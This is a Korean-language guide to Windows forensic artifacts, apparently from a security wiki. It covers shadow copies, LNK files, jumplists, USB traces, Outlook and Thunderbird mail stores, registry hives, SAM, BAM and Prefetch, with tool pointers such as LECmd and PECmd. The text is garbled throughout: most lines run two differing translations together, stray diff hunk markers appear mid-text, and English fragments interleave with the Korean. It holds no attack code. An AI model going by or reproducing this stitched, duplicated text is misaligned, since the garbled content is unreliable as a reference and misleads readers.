**ArsenalImageMounter**를 사용하여 포렌식 이미지를 마운트하면 [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow\_copy\_view.html) 도구를 사용하여 그림자 사본을 검사하고 그림자 사본 백업에서 **파일을 추출**할 수 있습니다. **ArsenalImageMounter**로 포렌식 이미지를 마운트하면, 도구 [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow\_copy\_view.html)를 사용하여 섀도 복사를 검사하고 심지어 **파일을 추출**할 수 있습니다.
![](<../../../.gitbook/assets/image (576).png>) ![](<../../../.gitbook/assets/image (576).png>)
레지스트리 항목 `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore`에는 백업하지 말아야 하는 파일 및 키가 포함되어 있습니다: 레지스트리 항목 `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore`**백업하지 않을** 파일과 키를 포함합니다:
![](<../../../.gitbook/assets/image (254).png>) ![](<../../../.gitbook/assets/image (254).png>)
레지스트리 `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS`에는 `Volume Shadow Copies`에 대한 구성 정보도 포함되어 있습니다. 레지스트리 `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS``볼륨 섀도 복사본`에 대한 구성 정보도 포함합니다.
### 오피스 자동 저장 파일 ### Office 자동 저장 파일
오피스 자동 저장 파일은 다음 위치에 있습니다: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\` Office 자동 저장 파일은 다음 위치에서 찾을 수 있습니다: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\`
## 항목 ## 항목
쉘 항목은 다른 파일에 액세스하는 방법에 대한 정보를 포함하는 항목입니다. 셸 항목은 다른 파일에 접근하는 방법에 대한 정보를 포함하는 항목입니다.
### 최근 문서 (LNK) ### 최근 문서 (LNK)
Windows는 사용자가 파일을 **열거나 사용하거나 생성할 때** 다음 위치에 이러한 **바로 가기**를 **자동으로 생성**합니다: Windows는 사용자가 다음 위치에서 **파일을 열거나, 사용하거나, 생성할 때** 이러한 **바로 가기**를 **자동으로 생성**합니다:
* Win7-Win10: `C:\Users\\AppData\Roaming\Microsoft\Windows\Recent\` * Win7-Win10: `C:\Users\\AppData\Roaming\Microsoft\Windows\Recent\`
* Office: `C:\Users\\AppData\Roaming\Microsoft\Office\Recent\` * Office: `C:\Users\\AppData\Roaming\Microsoft\Office\Recent\`
폴더가 생성되면 해당 폴더, 상위 폴더 및 상위 상위 폴더로의 링크도 생성됩니다. 폴더가 생성되면, 해당 폴더, 상위 폴더 및 조상 폴더에 대한 링크도 생성됩니다.
러한 자동으로 생성된 링크 파일에는 **원본에 대한 정보**가 포함되어 있으며 **파일**인지 **폴더**인지, 해당 파일의 **MAC 시간**, 파일이 저장된 위치의 **볼륨 정보** 및 **대상 파일의 폴더**가 포함됩니다. 이 정보는 파일이 삭제된 경우 해당 파일을 복구하는 데 유용할 수 있습니다. 자동 생성된 링크 파일은 **원본에 대한 정보**를 **포함**합니다. 예를 들어, **파일** **인지** **폴더**인지, 해당 파일의 **MAC** **시간**, 파일이 저장된 **볼륨 정보**, 및 **대상 파일의 폴더** 등이 있습니다. 이 정보는 파일이 삭제된 경우 복구하는 데 유용할 수 있습니다.
또한, 링크 파일의 **생성 날짜**는 원본 파일이 **처음 사용된 시간**이며, 링크 파일의 **수정 날짜**는 원본 파일이 **마지막으로 사용된 시간**입니다. 또한, 링크 파일의 **생성 날짜**는 원본 파일이 **처음 사용된** **시간**이며, 링크 파일의 **수정 날짜**는 원본 파일이 **마지막으로 사용된** **시간**입니다.
러한 파일을 검사하려면 [**LinkParser**](http://4discovery.com/our-tools/)를 사용할 수 있습니다. 이 파일을 검사하려면 [**LinkParser**](http://4discovery.com/our-tools/)를 사용할 수 있습니다.
이 도구에서 **2 세트**의 타임스탬프를 찾을 수 있습니다: 이 도구에서 **2세트**의 타임스탬프를 찾을 수 있습니다:
* **첫 번째 세트:** * **첫 번째 세트:**
1. 파일 수정 날짜 1. FileModifiedDate
2. 파일 액세스 날짜 2. FileAccessDate
3. 파일 생성 날짜 3. FileCreationDate
* **두 번째 세트:** * **두 번째 세트:**
1. 링크 수정 날짜 1. LinkModifiedDate
2. 링크 액세스 날짜 2. LinkAccessDate
3. 링크 생성 날짜. 3. LinkCreationDate.
첫 번째 세트의 타임스탬프는 **파일 자체의 타임스탬프**를 참조하며, 두 번째 세트는 **연결된 파일의 타임스탬프**를 참조합니다. 첫 번째 세트의 타임스탬프는 **파일 자체의 타임스탬프**를 참조합니다. 두 번째 세트는 **링크된 파일의 타임스탬프**를 참조합니다.
Windows CLI 도구 [**LECmd.exe**](https://github.com/EricZimmerman/LECmd)를 실행하여 동일한 정보를 얻을 수 있습니다. Windows CLI 도구 [**LECmd.exe**](https://github.com/EricZimmerman/LECmd)를 실행하여 동일한 정보를 얻을 수 있습니다.
``` ```
LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs
``` ```
### 점프리스트 In this case, the information is going to be saved inside a CSV file.
이것들은 각 응용프로그램에서 나타나는 최근 파일들입니다. **응용프로그램에서 사용된 최근 파일 목록**으로, 각 응용프로그램에서 액세스할 수 있는 목록입니다. 이들은 **자동으로 생성되거나 사용자 정의될 수 있습니다**. ### Jumplists
자동으로 생성된 **점프리스트**는 `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`에 저장됩니다. 점프리스트는 초기 ID가 응용프로그램의 ID인 `{id}.autmaticDestinations-ms` 형식을 따릅니다. 이것은 각 애플리케이션에 의해 표시되는 최근 파일입니다. 각 애플리케이션에서 접근할 수 있는 **애플리케이션에 의해 사용된 최근 파일 목록**입니다. 이들은 **자동으로 생성되거나 사용자 정의**될 수 있습니다.
사용자 정의 점프리스트는 `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\`에 저장되며, 일반적으로 응용프로그램에 의해 생성됩니다. 파일에 중요한 일이 발생했기 때문에 (즐겨찾기로 표시된 경우일 수 있음) 자동으로 생성된 **jumplists**는 `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`에 저장됩니다. jumplists는 `{id}.autmaticDestinations-ms` 형식으로 이름이 지정되며, 초기 ID는 애플리케이션의 ID입니다.
어떤 점프리스트의 **생성 시간**은 **파일에 처음 액세스한 시간**을 나타내며, **수정된 시간**은 **마지막으로 액세스한 시간**을 나타냅니다. 사용자 정의 jumplists는 `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\`에 저장되며, 일반적으로 파일과 관련하여 **중요한** 일이 발생했기 때문에 애플리케이션에 의해 생성됩니다(아마도 즐겨찾기로 표시됨).
[JumplistExplorer](https://ericzimmerman.github.io/#!index.md)를 사용하여 점프리스트를 검사할 수 있습니다. 어떤 jumplist의 **생성 시간**은 **파일이 처음 접근된 시간**을 나타내며, **수정 시간은 마지막 시간**을 나타냅니다.
jumplists를 검사하려면 [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md)를 사용할 수 있습니다.
![](<../../../.gitbook/assets/image (168).png>) ![](<../../../.gitbook/assets/image (168).png>)
(_JumplistExplorer에서 제공하는 타임스탬프는 점프리스트 파일 자체와 관련이 있음을 유의하십시오_) (_JumplistExplorer가 제공하는 타임스탬프는 jumplist 파일 자체와 관련이 있음을 유의하세요_)
### 쉘백 ### Shellbags
[**쉘백이 무엇인지 알아보려면 이 링크를 따르세요.**](interesting-windows-registry-keys.md#shellbags) [**이 링크를 따라가면 shellbags에 대해 배울 수 있습니다.**](interesting-windows-registry-keys.md#shellbags)
## Windows USB 사용 ## Use of Windows USBs
USB 장치가 사용되었음을 식별하는 것이 가능합니다. 이는 다음을 생성함으로써 식별할 수 있습니다: USB 장치가 사용되었음을 식별할 수 있는 방법은 다음과 같습니다:
* Windows 최근 폴더 * Windows Recent Folder
* Microsoft Office 최근 폴더 * Microsoft Office Recent Folder
* 점프리스트 * Jumplists
일부 LNK 파일은 원본 경로를 가리키는 대신 WPDNSE 폴더를 가리킵니다: 일부 LNK 파일이 원래 경로를 가리키는 대신 WPDNSE 폴더를 가리키는 점에 유의하세요:
![](<../../../.gitbook/assets/image (218).png>) ![](<../../../.gitbook/assets/image (218).png>)
WPDNSE 폴더의 파일은 원본 파일의 사본이며, 따라서 PC 재부팅 후에는 살아남지 못하며 GUID는 쉘백에서 가져옵니다. WPDNSE 폴더의 파일은 원본 파일의 복사본이므로 PC를 재시작하면 살아남지 않으며 GUID는 shellbag에서 가져옵니다.
### 레지스트리 정보 ### Registry Information
USB 연결된 장치에 대한 흥미로운 정보를 포함하는 레지스트리 키가 어떤 것인지 알아보려면 [이 페이지를 확인하세요](interesting-windows-registry-keys.md#usb-information). [이 페이지를 확인하여](interesting-windows-registry-keys.md#usb-information) USB 연결 장치에 대한 흥미로운 정보를 포함하는 레지스트리 키를 배워보세요.
### setupapi ### setupapi
USB 연결이 발생한 타임스탬프를 얻으려면 파일 `C:\Windows\inf\setupapi.dev.log`를 확인하십시오 (`Section start`를 검색). USB 연결이 발생한 시간을 알기 위해 `C:\Windows\inf\setupapi.dev.log` 파일을 확인하세요( `Section start`를 검색하세요).
![](<../../../.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (14) (2).png>) ![](<../../../.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (14) (2).png>)
### USB Detective ### USB Detective
@ -162,146 +165,147 @@ USB 연결이 발생한 타임스탬프를 얻으려면 파일 `C:\Windows\inf\s
### Plug and Play Cleanup ### Plug and Play Cleanup
'Plug and Play Cleanup'이라고 알려진 예약된 작업은 오래된 드라이버 버전을 제거하기 위해 주로 설계되었습니다. 최신 드라이버 패키지 버전을 유지하는 것이 명시된 목적과는 달리, 온라인 소스에 따르면 지난 30일간 활성화되지 않은 드라이버도 대상으로 삼을 수 있다고 합니다. 따라서 지난 30일간 연결되지 않은 제거 가능한 장치의 드라이버는 삭제 대상이 될 수 있습니다. 'Plug and Play Cleanup'으로 알려진 예약 작업은 주로 구식 드라이버 버전을 제거하기 위해 설계되었습니다. 최신 드라이버 패키지 버전을 유지하는 지정된 목적과는 달리, 온라인 소스에 따르면 30일 동안 비활성 상태인 드라이버도 대상으로 삼습니다. 따라서 지난 30일 동안 연결되지 않은 이동식 장치의 드라이버는 삭제될 수 있습니다.
해당 작업은 다음 경로에 위치합니다: `C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`. 작업은 다음 경로에 위치합니다: `C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`.
작업 내용을 보여주는 스크린샷이 제공됩니다: ![](https://2.bp.blogspot.com/-wqYubtuR\_W8/W19bV5S9XyI/AAAAAAAANhU/OHsBDEvjqmg9ayzdNwJ4y2DKZnhCdwSMgCLcBGAs/s1600/xml.png) 작업 내용을 보여주는 스크린샷이 제공됩니다: ![](https://2.bp.blogspot.com/-wqYubtuR\_W8/W19bV5S9XyI/AAAAAAAANhU/OHsBDEvjqmg9ayzdNwJ4y2DKZnhCdwSMgCLcBGAs/s1600/xml.png)
**작업의 주요 구성 요소 및 설정:** **작업의 주요 구성 요소 및 설정:**
* **pnpclean.dll**: 이 DLL은 실제 정리 프로세스를 담당합니다. * **pnpclean.dll**: 실제 정리 프로세스를 담당하는 DLL입니다.
* **UseUnifiedSchedulingEngine**: `TRUE`로 설정되어 있어 일반적인 작업 스케줄링 엔진을 사용함을 나타냅니다. * **UseUnifiedSchedulingEngine**: `TRUE`로 설정되어 있으며, 일반 작업 스케줄링 엔진을 사용함을 나타냅니다.
* **MaintenanceSettings**: * **MaintenanceSettings**:
* **주기 ('P1M')**: 작업 스케줄러에게 정기적인 자동 유지 관리 중에 매월 정리 작업을 시작하도록 지시합니다. * **Period ('P1M')**: 작업 스케줄러에 정기적인 자동 유지 관리 중 매월 정리 작업을 시작하도록 지시합니다.
* **마감 기한 ('P2M')**: 작업이 두 달 연속 실패하면 비상 자동 유지 관리 중에 작업을 실행하도록 지시합니다. * **Deadline ('P2M')**: 작업이 두 달 연속 실패할 경우 작업 스케줄러에 비상 자동 유지 관리 중 작업을 실행하도록 지시합니다.
이 구성은 드라이버의 정기적인 유지 관리와 정리를 보장하며, 연속적인 실패의 경우 작업을 재시도할 수 있는 조치를 제공합니다. 이 구성은 드라이버의 정기적인 유지 관리 및 정리를 보장하며, 연속 실패 시 작업을 재시도할 수 있는 조항을 포함합니다.
**자세한 정보는 여기를 참조하세요:** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html) **자세한 정보는 다음을 확인하세요:** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html)
## 이메일 ## Emails
이메일에는 **헤더와 내용** 두 가지 흥미로운 부분이 포함되어 있습니다. **헤더**에서는 다음과 같은 정보를 찾을 수 있습니다: 이메일에는 **2개의 흥미로운 부분: 헤더와 이메일의 내용**이 포함되어 있습니다. **헤더**에서는 다음과 같은 정보를 찾을 수 있습니다:
* **누가** 이메일을 보냈는지 (이메일 주소, IP, 이메일을 리디렉션한 메일 서버) * **누가** 이메일을 보냈는지 (이메일 주소, IP, 이메일을 리디렉션한 메일 서버)
* 이메일이 **언제** 보내졌는지 * **언제** 이메일이 전송되었는지
또한, `References``In-Reply-To` 헤더 내에서 메시지의 ID를 찾을 수 있습니다: 또한, `References``In-Reply-To` 헤더 내에서 메시지의 ID를 찾을 수 있습니다:
![](<../../../.gitbook/assets/image (593).png>) ![](<../../../.gitbook/assets/image (593).png>)
### Windows 메일 앱 ### Windows Mail App
응용프로그램은 이메일을 HTML 또는 텍스트로 저장합니다. 이메일은 `\Users\<username>\AppData\Local\Comms\Unistore\data\3\`의 하위 폴더에서 찾을 수 있습니다. 이메일은 `.dat` 확장자로 저장됩니다. 애플리케이션은 이메일을 HTML 또는 텍스트로 저장합니다. 이메일은 `\Users\<username>\AppData\Local\Comms\Unistore\data\3\`의 하위 폴더에서 찾을 수 있습니다. 이메일은 `.dat` 확장자로 저장됩니다.
이메일의 **메타데이터****연락처**는 **EDB 데이터베이스** 내에서 찾을 수 있습니다: `\Users\<username>\AppData\Local\Comms\UnistoreDB\store.vol` 이메일의 **메타데이터****연락처**는 **EDB 데이터베이스** 내에서 찾을 수 있습니다: `\Users\<username>\AppData\Local\Comms\UnistoreDB\store.vol`
파일의 확장자를 `.vol`에서 `.edb`로 변경하고 [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html) 도구를 사용하여 열 수 있습니다. `Message` 테이블 내에서 이메일을 볼 수 있습니다. **파일의 확장자를** `.vol`에서 `.edb`로 변경하면 [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) 도구를 사용하여 열 수 있습니다. `Message` 테이블 내에서 이메일을 볼 수 있습니다.
### Microsoft Outlook ### Microsoft Outlook
Exchange 서버 또는 Outlook 클라이언트를 사용할 때 MAPI 헤더가 있습니다: Exchange 서버 또는 Outlook 클라이언트를 사용할 때 MAPI 헤더가 생성됩니다:
* `Mapi-Client-Submit-Time`: 이메일이 보내진 시스템 시간 * `Mapi-Client-Submit-Time`: 이메일이 전송된 시스템의 시간
* `Mapi-Conversation-Index`: 쓰레드의 자식 메시지 수 및 쓰레드의 각 메시지의 타임스탬프 * `Mapi-Conversation-Index`: 스레드의 자식 메시지 수 및 각 메시지의 타임스탬프
* `Mapi-Entry-ID`: 메시지 식별자. * `Mapi-Entry-ID`: 메시지 식별자.
* `Mappi-Message-Flags``Pr_last_Verb-Executed`: MAPI 클라이언트에 대한 정보 (메시지 읽음? 안 읽음? 응답함? 리디렉트됨? 오피스를 이탈함?) * `Mappi-Message-Flags``Pr_last_Verb-Executed`: MAPI 클라이언트에 대한 정보 (메시지 읽음? 읽지 않음? 응답됨? 리디렉션됨? 부재 중?)
Microsoft Outlook 클라이언트에서 모든 보낸/받은 메시지, 연락처 데이터 및 캘린더 데이터는 다음 위치의 PST 파일에 저장됩니다: Microsoft Outlook 클라이언트에서는 모든 발신/수신 메시지, 연락처 데이터 및 일정 데이터가 PST 파일에 저장됩니다:
* `%USERPROFILE%\Local Settings\Application Data\Microsoft\Outlook` (WinXP) * `%USERPROFILE%\Local Settings\Application Data\Microsoft\Outlook` (WinXP)
* `%USERPROFILE%\AppData\Local\Microsoft\Outlook` * `%USERPROFILE%\AppData\Local\Microsoft\Outlook`
레지스트리 경로 `HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook` 사용 중인 파일을 나타냅니다. 레지스트리 경로 `HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook` 사용 중인 파일을 나타냅니다.
PST 파일을 열려면 [**Kernel PST Viewer**](https://www.nucleustechnologies.com/es/visor-de-pst.html) 도구를 사용 수 있습니다. PST 파일 [**Kernel PST Viewer**](https://www.nucleustechnologies.com/es/visor-de-pst.html) 도구를 사용하여 열 수 있습니다.
![](<../../../.gitbook/assets/image (498).png>) ![](<../../../.gitbook/assets/image (498).png>)
### Microsoft Outlook OST Files ### Microsoft Outlook OST Files
**OST 파일**은 Microsoft Outlook이 **IMAP** 또는 **Exchange** 서버와 구성될 때 생성되며 PST 파일과 유사한 정보를 저장합니다. 이 파일은 서버와 동기화되어 **최대 50GB**까지의 데이터를 **지난 12개월 동안** 유지하며 PST 파일과 동일한 디렉토리에 위치합니다. OST 파일을 보려면 [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html)를 사용할 수 있습니다. **OST 파일**은 Microsoft Outlook이 **IMAP** 또는 **Exchange** 서버로 구성될 때 생성되며, PST 파일과 유사한 정보를 저장합니다. 이 파일은 서버와 동기화되며, **지난 12개월** 동안의 데이터를 유지하고 **최대 50GB**의 크기를 가지며, PST 파일과 동일한 디렉토리에 위치합니다. OST 파일을 보려면 [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html)를 사용할 수 있습니다.
### 첨부 파일 검색 ### Retrieving Attachments
분실된 첨부 파일은 다음 위치에서 복구할 수 있습니다: 잃어버린 첨부 파일은 다음에서 복구할 수 있습니다:
* **IE10**: `%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook` * **IE10**의 경우: `%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook`
* **IE11 및 이후**: `%APPDATA%\Local\Microsoft\InetCache\Content.Outlook` * **IE11 및 그 이상**의 경우: `%APPDATA%\Local\Microsoft\InetCache\Content.Outlook`
### Thunderbird MBOX 파일 ### Thunderbird MBOX Files
**Thunderbird**는 데이터를 저장하기 위해 **MBOX 파일**을 사용하며 이 파일은 `\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles`에 위치합니다. **Thunderbird**는 **MBOX 파일**을 사용하여 데이터를 저장하며, 위치는 `\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles`니다.
### 이미지 썸네일 ### Image Thumbnails
* **Windows XP 및 8-8.1**: 썸네일이 포함된 폴더에 액세스하면 이미지 미리보기를 저장하는 `thumbs.db` 파일이 생성되며 삭제 후에도 유지됩니다. * **Windows XP 및 8-8.1**: 썸네일이 있는 폴더에 접근하면 이미지 미리보기를 저장하는 `thumbs.db` 파일이 생성되며, 삭제 후에도 남아 있습니다.
* **Windows 7/10**: `thumbs.db`는 UNC 경로를 통해 네트워크에서 액세스할 때 생성됩니다. * **Windows 7/10**: UNC 경로를 통해 네트워크에서 접근할 때 `thumbs.db` 생성됩니다.
* **Windows Vista 및 이후**: 썸네일 미리보기는 `%userprofile%\AppData\Local\Microsoft\Windows\Explorer`**thumbcache\_xxx.db**라는 파일로 중앙 집중화됩니다. [**Thumbsviewer**](https://thumbsviewer.github.io) 및 [**ThumbCache Viewer**](https://thumbcacheviewer.github.io)는 이러한 파일을 보는 데 사용되는 도구입니다. * **Windows Vista 및 이후 버전**: 썸네일 미리보기는 `%userprofile%\AppData\Local\Microsoft\Windows\Explorer`중앙 집중화되어 있으며, 파일 이름은 **thumbcache\_xxx.db**입니다. [**Thumbsviewer**](https://thumbsviewer.github.io) 및 [**ThumbCache Viewer**](https://thumbcacheviewer.github.io) 도구를 사용하여 이러한 파일을 볼 수 있습니다.
### Windows 레지스트리 정보 ### Windows Registry Information
Windows 레지스트리는 체계적인 시스템 및 사용자 활동 데이터를 저장하며 다음 위치에 파일로 포함되어 있습니다: Windows 레지스트리는 방대한 시스템 및 사용자 활동 데이터를 저장하며, 다음 파일에 포함되어 있습니다:
* 다양한 `HKEY_LOCAL_MACHINE` 하위 키에 대한 `%windir%\System32\Config`. * `%windir%\System32\Config`에서 다양한 `HKEY_LOCAL_MACHINE` 하위 키에 대한 파일.
* `HKEY_CURRENT_USER`에 대한 `%UserProfile%{User}\NTUSER.DAT`. * `%UserProfile%{User}\NTUSER.DAT`에서 `HKEY_CURRENT_USER`.
* Windows Vista 이상 버전은 `%Windir%\System32\Config\RegBack\``HKEY_LOCAL_MACHINE` 레지스트리 파일을 백업합니다. * Windows Vista 및 이후 버전에서는 `%Windir%\System32\Config\RegBack\``HKEY_LOCAL_MACHINE` 레지스트리 파일을 백업합니다.
* 또한 프로그램 실행 정보는 Windows Vista 및 Windows 2008 Server 이후 `%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT`에 저장됩니다. * 또한, 프로그램 실행 정보는 Windows Vista 및 Windows 2008 Server 이후부터 `%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT`에 저장됩니다.
### 도구 ### Tools
일부 도구는 레지스트리 파일을 분석하는 데 유용합니다: 레지스트리 파일을 분석하는 데 유용한 도구가 있습니다:
* **레지스트리 편집기**: Windows에 설치되어 현재 세션의 Windows 레지스트리를 탐색하는 GUI입니다. * **Registry Editor**: Windows에 설치되어 있습니다. 현재 세션의 Windows 레지스트리를 탐색하는 GUI입니다.
* [**레지스트리 탐색기**](https://ericzimmerman.github.io/#!index.md): 레지스트리 파일을 로드하고 GUI로 탐색할 수 있게 해줍니다. 흥미로운 정보가 포함된 키를 강조하는 책갈피도 포함되어 있습니다. * [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md): 레지스트리 파일을 로드하고 GUI를 통해 탐색할 수 있습니다. 흥미로운 정보가 있는 키를 강조하는 북마크도 포함되어 있습니다.
* [**RegRipper**](https://github.com/keydet89/RegRipper3.0): 로드된 레지스트리를 탐색하고 흥미로운 정보를 강조하는 플러그인도 포함된 GUI를 제공합니다. * [**RegRipper**](https://github.com/keydet89/RegRipper3.0): 로드된 레지스트리를 탐색할 수 있는 GUI가 있으며, 로드된 레지스트리 내의 흥미로운 정보를 강조하는 플러그인도 포함되어 있습니다.
* [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html): 로드된 레지스트리에서 중요한 정보를 추출할 수 있는 또 다른 GUI 응용 프로그램입니다. * [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html): 로드된 레지스트리에서 중요한 정보를 추출할 수 있는 또 다른 GUI 애플리케이션입니다.
### 삭제된 요소 복구 ### Recovering Deleted Element
키가 삭제되면 해당 사실이 표시되지만 해당 공간이 필요할 때까지 제거되지 않습니다. 따라서 **Registry Explorer**와 같은 도구를 사용하여 이러한 삭제된 키를 복구할 수 있습니다. 키가 삭제되면 그렇게 표시되지만, 차지하고 있는 공간이 필요해질 때까지 제거되지 않습니다. 따라서 **Registry Explorer**와 같은 도구를 사용하면 이러한 삭제된 키를 복구할 수 있습니다.
### 마지막 수정 시간 ### Last Write Time
키-값에는 마지막으로 수정된 시간을 나타내는 **타임스탬프**가 포함되어 있습니다. Key-Value는 마지막으로 수정된 시간을 나타내는 **타임스탬프**를 포함합니다.
### SAM ### SAM
파일/하이브 **SAM**에는 시스템의 **사용자, 그룹 및 사용자 비밀번호** 해시가 포함되어 있습니다. 파일/하이브 **SAM**은 시스템의 **사용자, 그룹 및 사용자 비밀번호** 해시를 포함합니다.
`SAM\Domains\Account\Users`에서 사용자 이름, RID, 마지막 로그인, 마지막 로그인 실패, 로그인 횟수, 비밀번호 정책 및 계정 생성 시간을 얻을 수 있습니다. **해시**를 얻으려면 파일/하이브 **SYSTEM**도 **필요**합니다. `SAM\Domains\Account\Users`에서 사용자 이름, RID, 마지막 로그인, 마지막 실패한 로그온, 로그인 카운터, 비밀번호 정책 및 계정 생성 시간을 얻을 수 있습니다. **해시**를 얻으려면 **SYSTEM** 파일/하이브**필요합니다**.
### Windows 레지스트리의 흥미로운 항목 ### Interesting entries in the Windows Registry
{% content-ref url="interesting-windows-registry-keys.md" %} {% content-ref url="interesting-windows-registry-keys.md" %}
[interesting-windows-registry-keys.md](interesting-windows-registry-keys.md) [interesting-windows-registry-keys.md](interesting-windows-registry-keys.md)
{% endcontent-ref %} {% endcontent-ref %}
## 실행된 프로그램 ## Programs Executed
### 기본 Windows 프로세스 ### Basic Windows Processes
[이 게시물](https://jonahacks.medium.com/investigating-common-windows-processes-18dee5f97c1d)에서 의심스러운 동을 감지하기 위한 일반 Windows 프로세스에 대해 알아볼 수 있습니다. [이 게시물](https://jonahacks.medium.com/investigating-common-windows-processes-18dee5f97c1d)에서 의심스러운 동을 감지하기 위한 일반 Windows 프로세스에 대해 배울 수 있습니다.
### Windows 최근 APPs ### Windows Recent APPs
레지스트리 `NTUSER.DAT``Software\Microsoft\Current Version\Search\RecentApps` 경로에는 **실행된 응용 프로그램**, **마지막 실행 시간**, **실행 횟수**에 대한 정보가 포함된 하위 키가 있습니다. 레지스트리 `NTUSER.DAT`경로 `Software\Microsoft\Current Version\Search\RecentApps` 내에서 **실행된 애플리케이션**, **마지막 실행 시간**, **실행 횟수**에 대한 정보를 포함하는 하위 키를 찾을 수 있습니다.
### BAM (백그라운드 활동 모니터) ### BAM (Background Activity Moderator)
레지스트리 편집기`SYSTEM` 파일을 열고 `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` 경로에서 각 사용자가 실행한 **응용 프로그램에 대한 정보** 및 **실행 시간**을 찾을 수 있습니다 (`{SID}`는 경로에 포함된 값입니다). 레지스트리 편집기를 사용하여 `SYSTEM` 파일을 열고 경로 `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` 내에서 **각 사용자가 실행한 애플리케이션**에 대한 정보를 찾을 수 있습니다(경로의 `{SID}`에 유의하세요) 및 **언제** 실행되었는지(시간은 레지스트리의 데이터 값 내에 있습니다).
### Windows Prefetch ### Windows Prefetch
Prefetching은 사용자가 **가까운 미래에 액세스할 수도 있는 콘텐츠를 표시하는 데 필요한 리소스를 조용히 가져오는** 기술로, 리소스에 빠르게 액세스할 수 있습니다. 프리패칭은 컴퓨터가 사용자가 **가까운 미래에 접근할 수 있는 콘텐츠를 표시하는 데 필요한 리소스를 조용히 가져오는** 기술입니다. 이를 통해 리소스에 더 빠르게 접근할 수 있습니다.
Windows Prefetch는 **실행된 프로그램의 캐시**를 생성하여 더 빨리 로드할 수 있도록 합니다. 이러한 캐시는 `C:\Windows\Prefetch` 경로에 `.pf` 파일로 생성됩니다. XP/VISTA/WIN7에서는 128개 파일 제한이 있고 Win8/Win10에서는 1024개 파일 제한이 있습니다. Windows 프리패치는 **실행된 프로그램의 캐시를 생성**하여 더 빠르게 로드할 수 있도록 합니다. 이러한 캐시는 `.pf` 파일로 생성되며 경로는 `C:\Windows\Prefetch`입니다. XP/VISTA/WIN7에서는 128개의 파일 제한이 있으며, Win8/Win10에서는 1024개의 파일 제한이 있습니다.
파일 이름은 `{프로그램_이름}-{해시}.pf`로 생성됩니다(해시는 실행 파일의 경로 및 인수에 기반함). W10에서 이러한 파일은 압축됩니다. 파일의 존재만으로도 **프로그램이 어느 시점에 실행**되었음을 나타냅니다. 파일 이름은 `{program_name}-{hash}.pf` 형식으로 생성됩니다(해시는 실행 파일의 경로와 인수에 기반합니다). W10에서는 이러한 파일이 압축됩니다. 파일의 존재만으로도 **프로그램이 실행되었음을** 나타냅니다.
파일 `C:\Windows\Prefetch\Layout.ini`에는 **프리페치된 파일의 폴더 이름**, **실행 횟수에 대한 정보**, **실행 날짜** 및 **프로그램이 열어 둔 파일**에 대한 정보가 포함되어 있습니다. 파일 `C:\Windows\Prefetch\Layout.ini`**프리패치된 파일의 폴더 이름**을 포함합니다. 이 파일은 **실행 횟수**, **실행 날짜** 및 **프로그램이 연 파일**에 대한 정보를 포함합니다.
러한 파일을 검사하려면 [**PEcmd.exe**](https://github.com/EricZimmerman/PECmd) 도구를 사용할 수 있습니다: 이 파일을 검사하려면 도구 [**PEcmd.exe**](https://github.com/EricZimmerman/PECmd)를 사용할 수 있습니다:
```bash ```bash
.\PECmd.exe -d C:\Users\student\Desktop\Prefetch --html "C:\Users\student\Desktop\out_folder" .\PECmd.exe -d C:\Users\student\Desktop\Prefetch --html "C:\Users\student\Desktop\out_folder"
``` ```
